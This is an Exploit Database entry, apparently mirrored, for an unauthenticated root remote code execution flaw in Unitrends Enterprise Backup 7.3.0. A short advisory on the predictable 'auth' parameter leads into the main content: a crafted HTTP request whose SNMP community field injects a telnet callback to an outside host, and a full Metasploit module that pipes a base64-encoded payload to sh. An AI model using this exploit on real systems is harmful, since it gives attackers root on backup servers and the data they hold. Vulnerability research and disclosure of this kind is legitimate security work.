Unitrends Enterprise Backup 7.3.0 – Root Remote Code Execution (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Brandon Perry
  日期： 2014-04-15
• 类别：

  • remote
  平台：

  • unix
• 来源：https://www.exploit-db.com/exploits/32885/

• Unitrends Enterprise Backup 7.3.0
  
  Multiple vulnerabilities exist within this piece of software. The largest one is likely the fact that the ‘auth’ string used for authorization isn’t random at all. After authentication, any requests made by the browser send no cookies and only check this ‘auth’ param, which is completely insufficient. Because of this, unauthenticated users can know what the ‘auth’ parameter should be and make requests as the ‘root’ user.
  
  Unauthenticated root RCE
  Because the ‘auth’ variable is not random, an unauthenticated user can post a specially crafted request to the /recoveryconsole/bpl/snmpd.php PHP script. This script does not sanitize the SNMP community string properly which allows the user to execute remote commands as the root user. A metasploit module that exploits this has been given alongside this report. Below is the actual request. To recreate, after authentication, click on Settings -> Clients, Networking, and Notifications -> SNMP and Modify the ‘notpublic’ entry to contain bash metacharacters.
  
  POST /recoveryconsole/bpl/snmpd.php?type=update&sid=1&comm=notpublic`telnet+172.31.16.166+4444`&enabled=1&rx=4335379&ver=7.3.0&gcv=0 HTTP/1.1
  Host: 172.31.16.99
  User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Connection: keep-alive
  Referer: https://172.31.16.99/recoveryconsole/bpria/bin/bpria.swf?vsn=7.3.0
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 58
  
  auth=1%3A%2Fusr%2Fbp%2Flogs%2Edir%2Fgui%5Froot%2Elog%3A100
  
  -----------------------------------
  
  Metasploit module:
  
  ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info={})
  super(update_info(info,
  'Name' => "Unitrends Unauthenticated Root RCE",
  'Description'=> %q{
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Brandon Perry <bperry.volatile[at]gmail.com>' #discovery/metasploit module
  ],
  'References' =>
  [
  ],
  'Platform' => ['unix'],
  'Arch' => ARCH_CMD,
  'Targets'=>
  [
  ['Unitrends Enterprise Backup 7.3.0', {}]
  ],
  'Privileged' => true,
  'Payload'=>
  {
  'DisableNops' => true,
  'Compat'=>
  {
  'PayloadType' => 'cmd',
  'RequiredCmd' => 'python telnet netcat perl'
  }
  },
  'DisclosureDate' => "Mar 21 2014",
  'DefaultTarget'=> 0))
  
  register_options(
  [
  Opt::RPORT(443),
  OptBool.new('SSL', [true, 'Use SSL', true]),
  OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),
  ], self.class)
  end
  
  def exploit
  
  pay = Rex::Text.encode_base64(payload.encoded)
  get = {
  'type' => 'update',
  'sid' => '1',
  'comm' => 'notpublic`echo '+pay+'|base64 --decode|sh`',
  'enabled' => '1',
  'rx' => '4335379',
  'ver' => '7.3.0',
  'gcv' => '0'
  }
  
  post = {
  'auth' => '1:/usr/bp/logs.dir/gui_root.log:100'
  }
  
  send_request_cgi({
  'uri' => normalize_uri(target_uri.path, 'recoveryconsole', 'bpl', 'snmpd.php'),
  'vars_get' => get,
  'vars_post' => post,
  'method' => 'POST'
  })
  
  end
  end